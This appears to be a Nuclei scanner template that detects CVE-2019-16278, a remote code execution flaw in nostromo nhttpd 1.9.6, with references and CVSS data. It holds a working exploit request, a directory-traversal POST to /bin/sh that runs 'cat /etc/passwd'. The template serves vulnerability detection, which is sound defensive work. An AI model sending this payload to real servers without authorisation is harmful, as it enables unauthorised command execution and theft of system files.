id: CVE-2019-16278 info: name: nostromo 1.9.6 - Remote Code Execution author: pikpikcu severity: critical description: nostromo nhttpd through 1.9.6 allows an attacker to achieve remote code execution via directory traversal in the function http_verify. reference: - https://packetstormsecurity.com/files/155802/nostromo-1.9.6-Remote-Code-Execution.html - https://www.exploit-db.com/raw/47837 - https://nvd.nist.gov/vuln/detail/CVE-2019-16278 - http://www.nazgul.ch/dev/nostromo_cl.txt classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2019-16278 cwe-id: CWE-22 tags: edb,cve,cve2019,rce,packetstorm requests: - raw: - | POST /.%0d./.%0d./.%0d./.%0d./bin/sh HTTP/1.1 Host: {{Hostname}} echo echo cat /etc/passwd 2>&1 matchers: - type: regex regex: - "root:.*:0:0:" # Enhanced by mp on 2022/03/29